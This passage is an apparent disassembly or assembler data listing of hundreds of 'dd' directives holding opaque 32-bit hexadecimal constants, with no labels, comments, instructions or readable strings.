0DEBA031h, 7A788100h, 60A40CA7h, 372504ABh dd 80133999h, 97550427h, 0E7036803h, 0A0BF4AE8h, 4B90F07h dd 11E69E3Ah, 506C8062h, 0EB00CB37h, 0EADDD890h, 0CEE730h dd 6B41C9A6h, 0E98EBC01h, 1C6AD010h, 305F9100h, 0B64CB54h dd 0CEC8DE03h, 0D8A69DF8h, 77F6AFFh, 456F1147h, 0CCFBD0B7h dd 2C00704Eh, 0D6426DE2h, 5EA00A7Ah, 3E9CFCF5h, 0BF2EFCE8h dd 8C00E037h, 570A7C82h, 0EE1A0066h, 92BB6EB1h, 0B0001251h dd 790296C5h, 3EDEC0AAh, 3080C2A5h, 4F8DF6BDh, 0DB077F82h dd 6F2B1090h, 0F35C2139h, 0F5C85CA3h, 0C55B1EAAh, 0C4F700DBh dd 0ED43B2EEh, 0DF09B6FEh, 800E699Eh, 0CADAECF9h, 0D956007Ah dd 0F14132C4h, 0C909336Dh, 8519D3FAh, 0FC83DD33h, 0CE2DB8DBh dd 87D51F67h, 806C8094h, 0FA3A71AAh, 89355912h, 0F9F75C04h dd 0F1E3D580h, 34973EEAh, 0A3BB4E00h, 76BFC27Ch, 30270800h dd 135FB74Ch, 215700CBh, 251FFC01h, 0B100AB03h, 3F1ECFEFh dd 70930Ch, 0C60EDAE4h, 0B64D4FD9h, 54E3F600h, 0D44EA2DDh dd 7A510F5Ch, 9E406710h, 0F850F4A1h, 2BAAC800h, 6F56FE38h dd 1770F7C2h, 0F54E26E4h, 0DE6B0FE4h, 4005A087h, 0C73F6645h dd 6DE73Dh, 3CB327B2h, 77298Eh, 44B0E133h, 0ABFF6634h dd 4511BD00h, 1B6EB9FEh, 42AC004Ah, 0EFE22060h, 7224C53Ch dd 0EC095C4Ch, 86480062h, 0B3AA75h, 0E06E49E9h, 23408754h dd 25729F00h, 4C047FC7h, 0BFE71293h, 0DECC008Fh, 52836439h dd 8103D6E8h, 0EBCD85FCh, 0D900D5A7h, 18CE2150h, 4A6A0F3Eh dd 171DAB66h, 0E78A0008h, 0C0283310h, 3FDE1F00h, 497C37A5h dd 2CCC9044h, 0F2B139h, 63AFB5ECh, 8F00298Ch, 9DDC2F3Dh dd 903219B7h, 0A3E3008Fh, 1620FBABh, 7D008556h, 17250EC2h dd 0EC689Ch, 37F8CA5Fh, 3860D8E7h, 128C3B8h, 0E500E4E2h dd 0D391BDBAh, 0ECB6D624h, 460A587Dh, 4D9F9400h, 3FC02501h dd 9AB38707h, 0FDD05F66h, 0D20B74h, 0D401CE61h, 0ACB0D6C9h dd 65685600h, 0C653EE44h, 5FE65Eh, 42C259DCh, 2E8BD49Fh dd 0CAC31701h, 8149BA87h, 3DD0BFD4h, 3881C29Eh, 14910AD3h dd 7F47CC1Fh, 437D3Dh, 0B3EB113Bh, 3DE97144h, 0B801690h dd 7F954CF3h, 55009E65h, 0E353A7A4h, 50DDD622h, 2C51C437h dd 0AE0FEEh, 0F51DA9B0h, 6609AE14h, 4027A6BFh, 1EB3E7FCh dd 40A01182h, 21D5E1D3h, 0FD095DD7h, 48247028h, 0EC547494h dd 6E46002Eh, 27CFE7D7h, 441DF981h, 0DCE62560h, 96D2D800h dd 60CA1AB6h, 79A7612Dh, 2298A372h, 0F0C2CE2Ch, 0D5207300h dd 12E2C661h, 827610A6h, 1CA99ECCh, 1AD39601h, 0CEA0DF62h dd 1898B43Dh, 0D14D6100h, 279081EDh, 655E00A0h, 0DC70DF2Eh dd 0B6074E9Fh, 9885F747h, 0C658805Eh, 30CEB069h, 61586E66h dd 113AD16Dh, 1C71032Dh, 3982E69Ah, 61391E81h, 8CA39E80h dd 84C2DE40h, 0AAFF70C0h, 5050A02Eh, 10E6C24h, 6A1C3F76h dd 0D0B37589h, 0ED00218Bh, 6BA4664Ch, 0E0E9E8h, 0CFB1881Dh dd 1B4B9E0Eh, 3C49C0F7h, 5EBDA21Ch, 0E90A2C80h, 43DBAFh dd 7C3411FCh, 2EC10B6Ah, 0D7017674h, 3F326D8h, 27DCDBF8h dd 243031Dh, 0FC6288ECh, 0A8014ED6h, 0BE86F78Dh, 880146Bh dd 47067627h, 53004C71h, 94DA7DD8h, 38D19ECh, 0D4931659h dd 24E0F851h, 0FB723339h, 0E6BFA504h, 8F822722h, 7DD0691Ch dd 7C5F6AE0h, 8CEE0046h, 37D93A33h, 21009554h, 0B075E7B9h dd 505755h, 0BF387366h, 3F639C10h, 9D5C40C0h, 4E4B7CC4h dd 1A384065h, 4B56960h, 8AF89A14h, 174900A0h, 0E55EE75Bh dd 282960BCh, 26E962DCh, 55478113h, 808A5883h, 58369A90h dd 0D80045A6h, 60760B49h, 970007ADh, 404D9E06h, 0CA381Bh dd 57337A6h, 0C118AC1Fh, 3FB159C0h, 0EB21F2h, 41F3906Ch dd 0D3BDE486h, 0DFA3530Fh, 2F1DA70Fh, 0B7ACB850h, 76C029FDh dd 38204E4Ch, 4CF41C2Dh, 3A7700Ch, 73CEA966h, 0CCED0207h dd 2301FA3Ch, 0CA2FA8A0h, 0C1008335h, 32D46D9Fh, 0DADF5h dd 81E62A11h dd 83A92D52h, 987A382Ah, 0A8061500h, 550D1F18h, 9BB0CFBh dd 5C69524Bh, 6B1C8F1Fh, 0B3F75380h, 11274Fh, 76ED35D0h dd 92F25752h, 594CBCA8h, 0FD006092h, 40D1CCE3h, 793CDC3Ah dd 0A5FF0E5Ch, 9FC1D864h, 8044794Fh, 2FE5EC81h, 0F030E6DAh dd 0C3303D6h, 0A6CC9691h, 804F203Bh, 0CAE56EE8h, 507AA03Eh dd 30013412h, 8481CBBh, 0A650C1E3h, 0ED7E55FEh, 4B18E6E0h dd 15A8E87Eh, 0F09E767Dh, 510E0216h, 0C5A7FEE4h, 1EBFB640h dd 0F766AD39h, 31872F01h, 5CFDC2A6h, 0E6C0C7D3h, 95FEDCh dd 89647D2Bh, 0D20EB337h, 4F5EDB00h, 3BE8C5EBh, 0A40B1866h dd 8CF829FCh, 0F71480h, 5D07814Bh, 5A0A5F3Ah, 0E00E2F0h dd 64A4E675h, 3CA912E8h, 9700C35Eh, 99E18487h, 133BF68Dh dd 3B9D80D2h, 12333DE7h, 0A1FA0021h, 0FEFF3824h, 0B50072C1h dd 0C234576Ah, 48369CA3h, 4004082h, 0E23DB73Eh, 0E7037091h dd 0E1651BDCh, 15FD98CAh, 9E5207E6h, 412718B5h, 0E0E5515Bh dd 0E000CE85h, 5DA6580Fh, 91CA66h, 47FC3934h, 0CC4C4608h dd 3C561700h, 65538B6Eh, 0BA09001Ah, 0F96A5DCAh, 0FC054907h dd 32395B92h, 8B61A80Ah, 0A022110Fh, 3BE9569Ah, 62380B3Ah dd 388099B3h, 7026636Ch, 0BC2C8B03h, 9728CB06h, 0CE6B03C0h dd 5EA30031h, 78C155A2h, 69071E5Ah, 0AB980630h, 5DEB1DB0h dd 31B00A8h, 0B9298133h, 57008B7Ah, 0A9EC4A5Ah, 9556D0h dd 0A13149E0h, 7BCFD2F6h, 0A73FB607h, 3AA0B185h, 71D4EBCh dd 6812095Fh, 11BF00D2h, 7800CDD1h, 5D04ED36h, 0B82DE242h dd 7C64FDDh, 0F72FA1h, 176F4C38h, 6D4E360Eh, 578FFCh, 705A3A03h dd 562D00FFh, 0FB38D7A6h, 9E8F875h, 42EA7800h, 3E2F521h dd 0FC4B0069h, 16A358E5h, 7C3B617Dh, 0DDCC8520h, 0F780D7AFh dd 1E46A8ECh, 813F1B56h, 6C239E8Bh, 0D9F02081h, 5DE15E00h dd 2FB4FDF6h, 0FB5B0ACFh, 6DCB9C9h, 906E8D1Bh, 0ECA79900h dd 0E983888Ch, 0A9F900BEh, 4A65A8F5h, 0F83BC4F7h, 3ED58049h dd 0EBAD68DEh, 0D97100BCh, 0B71C987Ch, 0F9F46E35h, 0B61A3603h dd 0A0BABDDFh, 125AED1h, 3C03C715h, 0E66FF60Fh, 9C80ED42h dd 0C6D2A27Ah, 70562501h, 0C7572835h, 84627FDh, 0BD620409h dd 0C503C3DAh, 422A0073h, 0FFA4B6CAh, 0D3B1C604h, 1DC1E469h dd 4C6089BEh, 2FD00030h, 41BC78ACh, 87096083h, 201DF758h dd 84BB1E80h, 0FE063851h, 6252CE80h, 9F9134Eh, 0FA0C5009h dd 0D78C0011h, 0A00ADCh, 4B9AEF0Dh, 6BD15FFFh, 880E14F8h dd 7ED3B786h, 0AFC80B80h, 0FA9AE5h, 0E8CB82ABh, 0AD55F49Fh dd 0CDB82B00h, 4A9D433Fh, 2AC1061Bh, 2466EC32h, 56E4FD1Fh dd 2907C70Ch, 23F200D7h, 6944451Dh, 0E507325Ah, 0EA9B4FF6h dd 2E5F8BC7h, 0C9A8200Ah, 9C1F5Bh, 97095E6Ch, 671C2CA7h dd 0AA753307h, 53E090A5h, 0BCA05Bh, 6A64CB1Bh, 0C3222D21h dd 3EA5D71Fh, 0CAE46781h, 0BF30978Ah, 56540049h, 0C042B71Dh dd 0B275B173h, 62CE1C00h, 5DF295FFh, 584D01AEh, 0C8DE8C93h dd 0A175C012h, 32698300h, 0AE38F3Dh, 45A00013h, 0CCE7BE15h dd 2E007164h, 0ACA7245Eh, 0F870C2h, 21ADC54Dh, 76F9057h dd 88866200h, 74EA2C9Ah, 0EC4118A1h, 0BDF9503Dh, 7166991Eh dd 62970380h, 7C4E5010h, 1AC5005Bh, 5FF8835Ch, 5707C266h dd 0A2217143h, 18F44CBFh, 10FD0230h, 86D602ECh, 489949E0h dd 0D1665500h, 61E2BCB6h, 0F58000C2h, 1FBD065h, 0FE0F9F4Bh dd 0CC881566h, 43086Fh, 319AD35Bh, 96DD3D18h, 2ED9CA00h dd 204F98EEh, 5D9E39EAh, 4E9DF880h, 3596F53Fh, 9360CB01h dd 0DA26C706h, 7CF778E0h, 0F17E0185h, 0F936079Fh, 6322067h dd 0C1826F01h, 0BAD2B94Bh, 1E9080E8h, 87D60F46h, 6043BE87h dd 676127A8h, 0F95B8E00h, 0F73CEC31h, 0F8BC1F0Ch, 0B956C08Fh dd 0B55FF71h, 775E801Dh, 15469D00h, 5A99F6h, 0A684023Ah dd 3BD5D1ADh, 0D9C41900h, 985EBE2Ch, 9FBF3C55h, 0CA82A603h dd 3798A723h, 0FC006F31h, 0C0E07CB1h, 1E0CDC3Bh, 0C02249E6h dd 62B5DD7Eh, 161C272Eh, 7D4004D6h, 0DE41057Ah, 7FF716B6h dd 1DBE001Eh, 37540960h, 0F8841000h, 0D06CCEEDh, 497101FFh dd 456AEEE8h, 0E0C8E92Fh, 0ED00D987h, 1B5B6723h, 3B7404E0h dd 4C80750Ah, 56127918h, 6E00F633h, 482FB896h, 0B5E12Bh dd 4EDE888Eh, 5577C065h, 99874000h, 0CC813F06h, 942D0072h dd 9D210AE8h, 0D97C9B9Fh, 80EC864Eh, 10E0AE00h, 0EEA9093h dd 0D329200h, 2ED8E812h, 166D0EDCh, 0B204480h, 0E1FC41D3h dd 0E543E40Fh, 0F466E07Eh, 4867CE08h, 4E00EBABh, 8B261F42h dd 0E00D563h, 4AA9AEEBh, 1D34D0h, 146BC259h, 0C75FF35Dh dd 16F862D8h, 37870088h, 3CAD4C51h, 863BBAE5h, 8E460525h dd 8480EF48h, 963E3BBh, 72532A82h, 0BC7380DFh, 0A42F9Ch dd 0F430914Bh, 473C81BFh, 4A49A506h, 0E602B17h, 0CF25F9D9h dd 6EEF7098h, 3DDAD1A0h, 0DBD69207h, 4FC1D19Fh, 3D44DEAh dd 2211C082h, 21DC24Ah, 19A14C01h, 175BA5CFh, 0CB30F4h dd 6FDE6626h, 0AD724EC8h, 4ADA4C00h, 0A54B298Dh, 5142037Dh dd 3D7AF127h, 81CB76FFh, 0B9585961h, 70E17641h, 7311A0BEh dd 484531CCh, 9081CFC5h, 2B1A43C7h, 9496C457h, 0F1356C00h dd 366A07DCh, 6240025h, 0C18CA385h, 4F002C1Ah, 0BD66BFCFh dd 4896AFB2h, 5F0031B1h, 0A9C12A7Eh, 9901148Ch, 9A4297DAh dd 0E06BD50Ah, 5E00C60Ch, 0D798BAC0h, 39857A2Ah, 8B00585Dh dd 8326947Fh, 0A31EE83Eh, 27404A81h, 166F5CEBh, 9EC800B1h dd 7CE6D94Ch, 0DFA92E8h, 394D500h, 0A6E48719h, 81F4AA86h dd 0D734E619h, 54A9E8h, 1AF82C67h, 81D4473h, 0A8666E28h dd 0D819D93Ah, 7703018Ah, 0DD3A50BEh, 3E90CFCh, 60562CC6h dd 92A0647Bh, 9CA028B8h, 0A0A8DA57h, 357FFC91h, 4B110A00h dd 0B088B419h, 1894005Eh, 18E07B8h, 0A84C3862h, 0C0A85108h dd 0A130DE0Ch, 58AAA9CCh, 0ACCA007Fh, 5679F83Ah, 4A0EF699h dd 80672BD7h, 49864BDCh, 88D0909Eh, 3F8A7E0h, 0D511D396h dd 128860DFh, 0E900A052h, 75C05BB5h, 1B4F0184h, 69DB487Eh dd 0FFE7C380h, 0ECFBF800h, 2C06C949h, 0FDD70C58h, 9DD1C056h dd 7744DD00h, 0F03103A5h, 92E507B2h, 90DBA1F3h, 658E0238h dd 2C377F28h, 283C1403h, 0E36995A2h, 8619EE4Bh, 3BC00B0h dd 0F346AB3Eh, 0AF015F9Dh, 22ACC59Bh, 7980EB56h, 968CAD81h dd 0AA0145CEh, 7FD47E2Bh, 21A0CDF4h, 487406BAh, 598A6ED3h dd 88125A00h, 95921E15h, 0C46D0314h, 0D3DDEB79h, 62DA740Fh dd 851583AAh, 7EC9E0F3h, 98F0F8B4h, 0F85A7D6Dh, 3D80184Dh dd 1E311883h, 0F6BD6E1Eh, 0E9749D81h, 0CCE06C88h, 964B00B3h dd 1532DD6h, 5674C468h, 208B5430h, 4BAAA9h, 0F2430488h dd 74C0C8A3h, 40ECAC30h, 1A1BAB6h, 0FFEE4556h, 9923AB21h dd 4BA0B920h, 8F7818B1h, 5000CB7Bh, 7D8CE8ECh, 77E6F846h dd 0B7011EA0h, 217BD8A5h, 7D0684FAh, 0BC05C678h, 0CF6506B0h dd 0F8CAD08Eh, 101C4100h, 0D4B4FFA8h, 0F094000Ch, 24207163h dd 800793EFh, 0AF96B234h, 5D531680h, 784800FBh, 739911A0h dd 6F00E538h, 0A2E9B02Bh, 143EF47h, 0FFDC805Fh, 7011C8E6h dd 4D002411h, 36CA2ED6h, 0B8EF42h, 7408F25Dh, 0E8DCC0DEh dd 25BD7500h, 0B3447DAFh, 3B67081h, 16A92CACh, 15D2B477h dd 0C1DF049Dh dd 80B21C17h, 709A9D11h, 3D6A84h, 6231AE29h, 0E0B191F7h dd 19B5F80Ch, 1134183Fh, 10EC95ADh, 1F001E61h, 0B4766268h dd 8C09F4Bh, 45F8D2B3h, 0B720CC18h, 0F101EE79h, 0E8C02D9Ch dd 85D87417h, 1C4E03CBh, 97A5C65Bh, 0D1838h, 2A139EBBh dd 91275Eh, 0AE6675A9h, 0E19D325h, 50C3B431h, 3CF37B9Ch dd 0EC3BEDC0h, 36609D01h, 50652CD3h, 19370240h, 0B100EDF4h dd 0AA2EB6D0h, 4C5015h, 41ABD627h, 9FD29984h, 0C065BB30h dd 0CFD315CBh, 0B9009BB8h, 3E8A5145h, 0EE00B67Dh, 0CD561E38h dd 2AE6D825h, 3090A355h, 85F8D364h, 0D5415E0Eh, 3A177FCh dd 0E787BD35h, 0BFA315B6h, 578838E3h, 0B11FD437h, 0FB0F697Dh dd 0DB89807Bh, 165E3A4h, 9EB4D078h, 0F1B5246Fh, 69FBF03Ch dd 0F3018F02h, 0A0BA8752h, 0DB644DACh, 0AA242A67h, 196C38E8h dd 0E086658Fh, 88525745h, 0F670CBACh, 0C05C3A30h, 60B9CC42h dd 0E7538078h, 240A6528h, 985D34A4h, 0EAC348B1h, 855476D0h dd 3DC8A610h, 6A888383h, 0E5180054h, 4C625056h, 0F51F3C33h dd 21401A68h, 83C295BBh, 703000AAh, 0B8352CB9h, 19F84DE4h dd 17EB0701h, 1565AF53h, 2E32FC40h, 827429h, 2A26D435h dd 0D4CD2D0h, 80FC573Ah, 47BDE0B3h, 0F8D55DB1h, 383D2BA3h dd 5ECE887Ch, 1558D494h, 19CB901h, 330EF375h, 0AAF634E6h dd 7D087480h, 0FF5A0218h, 684473B5h, 42A9603h, 0C76EE42Ch dd 72C9A931h, 3B87B080h, 29C0F19Eh, 46F9EC0Ch, 2C1871h dd 77A4CC91h, 8566EF15h, 0B7F3A30Ch, 0C86A833h, 1C692ABBh dd 30AB871h, 989C65AEh, 74227B12h, 0A2404488h, 22F43C90h dd 850E5B36h, 523A1C6Eh, 14867001h, 69804C09h, 8A81249Eh dd 0BE194939h, 16E0B9A4h, 761DFC41h, 2025420h, 0A064C2FBh dd 34B05574h, 1865EF2h, 6365D9ADh, 924B525Ah, 0CC016629h dd 575EE20Ah, 5041ECF8h, 31DC062h, 0C261E67Dh, 0CCA8D729h dd 7005837h, 0BB308250h, 60391FA6h, 2A6CB810h, 5E00E1EEh dd 58A21DBFh, 59601Ch, 0B815E078h, 0B68ADC02h, 0F6A488A8h dd 5A770D00h, 0E9E4A885h, 91176A58h, 800515D4h, 0AD00A452h dd 0ACC41DE1h, 49E1E6B8h, 1B83E0C4h, 0ECDCD307h, 0E7449FFAh dd 0AF505087h, 3280FE5h, 4C22DF2Ah, 0B91FB06Ch, 6B248E13h dd 95818824h, 9AA8A340h, 0F700B6D5h, 63186CBFh, 3481F852h dd 193C7164h, 0A8138903h, 919BD133h, 0B700F448h, 0BED0BFF6h dd 5D67033Fh, 0A6A033D1h, 0F8132AC5h, 99B01537h, 0F701E409h dd 40966247h, 551888C4h, 0E8F518B4h, 0B7609895h, 75351E68h dd 26D10093h, 7CF754E5h, 9E008A0Eh, 0D7BD1936h, 499D5874h dd 94449CF1h, 4F440095h, 3B4398D0h, 0D6008A53h, 0F68834C5h dd 0CFB06203h, 0C2602AB0h, 0ECACD094h, 687DA812h, 0E27C1805h dd 9ECADC07h, 8CAA80AEh, 26BCAD1Bh, 0EB8EDC0h, 228450A5h dd 52200057h, 0DFE5EEE7h, 0F9CAC718h, 0E079C2AFh, 2712E898h dd 397F4600h, 0A086021Eh, 780B3076h, 0F16070F9h, 0BB5F5C14h dd 12BC8EFCh, 0CFE6F847h, 0A08A1253h, 18CF97Ch, 6F79AC3Fh dd 2172E1F7h, 0B4B4208Bh, 82034300h, 0CFA3FB07h, 74981206h dd 0B7BA0AF3h, 7DE660B0h, 130A2928h, 0B8CDD373h, 0F324F0Fh dd 6C10026h, 0E0B064E8h, 0BB232CE7h, 80E647D0h, 0B11CEAA7h dd 1D45059h, 3F12F8CAh, 0B040327Fh, 96AB47h, 0B7333690h dd 1170A176h, 50E99EE9h, 24D63401h, 1C20FD4Ch, 0E643187Ch dd 76890C2h, 0D0A9D028h, 5A603C3Eh, 1D7311E8h, 0C2FBACD2h dd 5134AF0Fh, 79A58CA2h, 3D2D84C0h, 2E810D5h, 0AE2EE6CDh dd 61480A4h, 32375586h, 293065B8h, 6DB0B420h, 1D490060h dd 790DD9A5h, 0C501CB37h, 0CDD04651h, 0C6D1A63Fh, 971F5D0h dd 0DF06331Ah, 0B44C0C00h, 0C40E8B8Ch, 809566A3h, 0D203B094h dd 0E830E835h, 765000A7h, 0AB1C6C8Dh, 0DB144CE3h, 0FA7363h dd 162BF92Eh, 4C4EAD62h, 0CCA1E0B6h, 80C804E5h, 0F84D4CF8h dd 0D2DC0D81h, 2E2836B7h, 78509C16h, 34AE8271h, 11384851h dd 4E121664h, 0E78C4437h, 0B8688838h, 0D149C9h, 857AA4A0h dd 0A8049876h, 0C418CDF0h, 0C8937350h, 0B788EC20h, 0F643337h dd 69626128h, 49474428h, 67C429C8h, 0B180F152h, 0DBA93B25h dd 554CB63Fh, 12817340h, 50C8270Ch, 8199B099h, 52286C5Ch dd 7F014B6h, 0E33EEC90h, 19F732FAh, 47FC48CAh, 40970C5Ah dd 7C1EEF8Ch, 0B889B617h, 0C358C300h, 568303Eh, 5623D00Fh dd 0CD8834ECh, 3AC4FC00h, 8E916402h, 6AB7173Bh, 0F7446ACh dd 62EFF6F9h, 32828D6h, 191F7012h, 79113400h, 0AAFE3429h dd 5CEC40CCh, 7CD0B809h, 689C4CE7h, 237A8180h, 392A3CAEh dd 4C0BBCFAh, 806019D4h, 34ACC648h, 749245h, 7B073B50h dd 0B2530BE4h, 4112499h, 71F89E09h, 33B32420h, 2326EE4Fh dd 42E168C0h, 0A0F7E672h, 54A2D3B3h, 98F0BC06h, 4DBE4450h dd 4CEA58B0h, 6418B549h, 1CA4AD98h, 0A84E4D38h, 97E0C500h dd 0F7637BA5h, 8C0AB7F6h, 5C35A38Ah, 841315h, 72A4D506h dd 1F597D1Ch, 1F43A93Fh, 4EC0E4EFh, 48A03849h, 0F855B137h dd 16F01E48h, 0A4210F6Eh, 0B870BE34h, 50AE0ACFh, 36C2D56h dd 0AD5FEB1Ah, 8133D102h, 0C0F72422h, 52AA2627h, 0AE00BC93h dd 911B7A02h, 601B423h, 46FA7174h, 0BED27395h, 0BC2C4C18h dd 0BB647B00h, 9AC2938Bh, 0FBD7B50Eh, 79D684F6h, 0C1D0C892h dd 0A88860E0h, 2907F702h, 0EA4079BBh, 7C67E0h, 4F8B5F33h dd 9FE02CEh, 0D02C74A0h, 0A86C5726h, 4003780Ah, 0C3190D84h dd 4850F6C0h, 0FADA1737h, 82902856h, 0F8725B45h, 3465EB00h dd 35297757h, 8B50DC48h, 611B0127h, 0A5E039FBh, 344A73h dd 9EB63550h, 6D13B2E7h, 3000EE3Ch, 5E2BC213h, 0B96E0586h dd 951ABE20h, 48640C6Ch, 55014C89h, 0FAB075FBh, 5187AAF8h dd 0C31F76B9h, 0C3C0B73Bh, 973B357Fh, 58EFAC3Fh, 17912D00h dd 4B58BBECh, 156800EAh, 0C76C8CA8h, 1CCB38C5h, 972A2880h dd 0E424008Bh, 7BACBD68h, 590A5307h, 8BB03AEh, 1BAF8162h dd 0E77C0CD8h, 0ACC86C0Fh, 56B3808Bh, 48651ECAh, 3F007DB0h dd 739F1D0Ch, 88E0832Eh, 437F20A4h, 32A8001h, 0D13324D5h dd 507062D2h, 28B09Ch, 352C7B79h, 18B55AEEh, 1C021E4Ah dd 48B6F5ECh, 90CF64A8h, 13633E72h, 8FC5D26h, 1164BF86h dd 72407C2Ch, 8120B9ACh, 23A42E4Eh, 44E47016h, 1B00C0A4h dd 17AF39EFh, 26787FC2h, 89A8EEBBh, 20482628h, 88B87954h dd 8A865800h, 0EF1DE6BBh, 814B2433h, 0F0838110h, 0E41F71ACh dd 3E24EA63h, 870004ECh, 8AA9806Fh, 0E3A5056Eh, 81D07661h dd 8E8F3CE8h, 99B2BBF1h, 0B0600E49h, 949F510Fh, 9C3F89E4h dd 36803B3Ch, 215058FAh, 0F05E6BCh, 538D6228h, 0EF570820h dd 220F8423h, 69A427B7h, 1E0C2015h, 16ABAC5h, 7EA5FE40h dd 4E8C791Ah, 0BD587244h, 0C050A2D4h, 0E61253C8h, 831D00EBh dd 7B82C0E9h, 7066F4Ch, 38B24D41h, 360A338h, 0BA928739h dd 617CBDD3h, 6D3B611Ch, 0D06A10DFh, 0E11C7402h, 714CB81Dh dd 10F245C0h, 0CC43D4E0h, 6FB0652Bh, 0C7A42512h, 2A7E504h dd 0B0D079A4h, 0C440444Ah, 4C077A89h, 83ACD35Bh, 4DDE8FB1h dd 8C940848h, 6458CF24h, 0B0A87C28h, 1804E427h, 0E1020CB9h dd 0CDAAF480h, 35D090EFh, 0A01E1Ch, 3ACB538h, 370157B7h dd 0F465FB51h, 0E038C6A5h dd 612446A0h, 0F42C2A0Eh, 0DD413079h, 681CFC24h, 3B93104h dd 6A6CFD9Fh, 56BCEDE0h, 0C8C93600h, 3224131Eh, 0B9282EDDh dd 0B37307C0h, 5651536Dh, 2A7C22B8h, 70105E00h, 76F42F7Fh dd 0EF68C064h, 63B29DD7h, 1F92609Ch, 8C4CB071h, 0D4935703h dd 5432A04Eh, 6F844027h, 0FA4C9255h, 0E0304C24h, 5732AF3Eh dd 1049C018h, 6A17FCC3h, 80993627h, 0D60F52C4h, 4F6202E5h dd 0D9E1A6BDh, 55641C60h, 0A3358213h, 0AACC081h, 986B08CCh dd 148800E0h, 9C2E9147h, 90C07BEDh, 6F73B03Fh, 856E1FEFh dd 0BC9000E4h, 0BE3891DEh, 25AE7C0Fh, 0E9C902D8h, 86C0B853h dd 0E08B80A0h, 17C1F800h, 0CE92D55Dh, 7DE9003Fh, 27613160h dd 38CE4620h, 0A00A3216h, 914318D8h, 3028CD92h, 42A34036h dd 0FC8EDE12h, 577C040h, 1ACA903h, 657ECBF4h, 0DC53D64Ch dd 5D2A912Eh, 6601D077h, 0AE39E6D1h, 0A024A131h, 6F551BE0h dd 181078C4h, 1F841391h, 698F0BDDh, 0C731CC34h, 682C9831h dd 200755Ah, 58859241h, 0A04F00DBh, 9C9D29AEh, 0A8B6053Eh dd 0A4C183F5h, 21A2AA4h, 178CD5Ch, 5FBDE7D8h, 0DE241180h dd 5BA3F651h, 0F004E4B2h, 0B09FB352h, 39AF0880h, 0FC205081h dd 2D7B02E6h, 2752FAE9h, 0AAADA448h, 83BBE00Eh, 4CA00A0h dd 240D64B3h, 1F4C6F61h, 73A88681h, 941F3124h, 3C1D883h dd 3AD36769h, 960837EBh, 8A7B6070h, 780055D8h, 2E3D0D4Ch dd 169117E1h, 0C0FBDC51h, 1FC81570h, 9B4B740h, 5C38B313h dd 2B877583h, 46CF5AB3h, 743D21C4h, 736900A8h, 3A1150B5h dd 494400DCh, 0A9E4FECEh, 58C26721h, 0D07688E1h, 8B7F9020h dd 5838A830h, 0B292214Dh, 701EC591h, 0FBA480ACh, 0EB0BB59Ch dd 80AC174Ch, 11A6B95Fh, 87CCA38Dh, 68294Bh, 809F0305h dd 0E9BD0001h, 11BAF2D2h, 4614A20Ah, 3B8D6EDh, 5255769Bh dd 75512607h, 0E29C0004h, 98BF601Ah, 62081264h, 0C85E6890h dd 2F660164h, 0E54C4033h, 1146CF5h, 0E658B7F0h, 10A80419h dd 0A6C0064h, 0EA769EDBh, 7879E1F7h, 0D6001576h, 0AE06C4A8h dd 7433CCh, 0C52E5934h, 5E3FDF8h, 1B913D00h, 362335F9h dd 0F7CC004Dh, 3A6B2768h, 67003B5Ah, 8522A57Ch, 95D8BEh dd 8E6C1CCCh, 0F6230C61h, 0AFE05BE4h, 89DE650Fh, 307080FFh dd 0B894F9h, 0ECD01FE7h, 0BBF31AE6h, 0FA03CE1Dh, 20F73B0Ch dd 0D0140070h, 0FD59A90Bh, 400C919h, 0A4570EA8h, 0C007DA37h dd 0A5847B48h, 7700FA1Bh, 0D2E87E19h, 0EAE25918h, 5B2D0627h dd 816CA137h, 15016F46h, 0AAE6E2D0h, 40AF0CFBh, 0D0F88EF8h dd 6621F200h, 81E7521Ah, 5F2500C3h, 3E8F096Ah, 0DE066F4Bh dd 0D8F8E6DCh, 0CF403018h, 0FE921798h, 216DD631h, 58060468h dd 0DB3720C6h, 0C12700C1h, 8971267Fh, 9300B7B9h, 0FD4C9867h dd 0C74BD004h, 8C343771h, 0EE005D30h, 23D49BE6h, 0E2C3544Eh dd 44150040h, 6F77E047h, 0BF005574h, 0FFFE3B48h, 28796D97h dd 0C80B9D4h, 47D3B395h, 0B600E8B8h, 0DAEE5429h, 3E8D7C91h dd 33E1787h, 0C3397E82h, 486043D8h, 0B00A23Eh, 6D5C423Ch dd 0E8247Ah, 2FDBFFB2h, 2299BDB9h, 7C167100h, 0A9272FEh dd 0B85B0FEFh, 14802D06h, 0F425F8E3h, 0A82BCF00h, 572C8496h dd 0AC0906FDh, 28F0ED30h, 0BE8D8F24h, 66451830h, 4C047C4Ah dd 23308851h, 0EEA59E48h, 0E509930Fh, 0C878AFEh, 0E3E60F02h dd 0D234007Ah, 8107C155h, 8E4BFDA7h, 251853E1h, 57910F8h dd 37406D32h, 0FF8E8121h, 7A9880E0h, 7388B96Ah, 621E0754h dd 0E0448AC1h, 0A7012A5Bh, 1B396003h, 0E0597A67h, 2240C5B0h dd 0A23925A6h, 24F70093h, 0AD9A91BCh, 0B8DE0230h, 0C04C3D98h dd 88149080h, 0D7741544h, 0C449EE00h, 819E5C75h, 0B82C7D65h dd 342D1857h, 21045A02h, 783AA500h, 83DED5C7h, 0D1930E42h dd 0D8805E6Bh, 0EE6CE20Bh, 4A238D00h, 5AD82E3h, 2C6400C5h dd 0AA75D1FCh, 3C19D88Bh, 1629650Dh, 7F44BD08h, 38AB4429h dd 0EA0228A0h, 8B7B1888h, 0D4FE20E4h, 0E08E80F4h, 38C8580h dd 2DC4FC0h, 0DFB8A949h, 9A002AF7h, 0B1454CE9h, 4858F39Dh dd 92006943h, 0C9C6EA8Ah, 2F003FDCh, 2BCBFF6Dh, 5C6E84h dd 7A76E7DFh, 0B0286ABEh, 191BD800h, 81186322h, 6F06002Fh dd 0EA9D24A8h, 2703FD40h, 0B408C761h, 0B9FFD1FBh, 0E16570h dd 21210D5h, 0DC231FD2h, 3BE97116h, 15CC4C00h, 166A4AACh dd 26576Fh, 1DEC1F62h, 0B27EB914h, 34000776h, 4E6A2847h dd 5893F844h, 0C6000671h, 0D8F59430h, 48057383h, 0CDE195A9h dd 0F456FEC0h, 0A6221A87h, 0F36010CAh, 3400B8B9h, 0CFE695AFh dd 7F31EA1h, 440866F5h, 70FD828Bh, 14688640h, 78464B0Ch dd 13431072h, 0D8CDB0h, 0E81D3227h, 0F2014991h, 0CA0C9059h dd 0FDF9A2C7h, 18B9888Ah, 0F33A8090h, 0DF173801h, 295B6500h dd 8254C6B0h, 0A987010Bh, 80E3F43h, 0BF02801Ah, 0DDEFB75Dh dd 519D3D89h, 4F39D980h, 47226E92h, 0C8858D30h, 0CCDFF9h 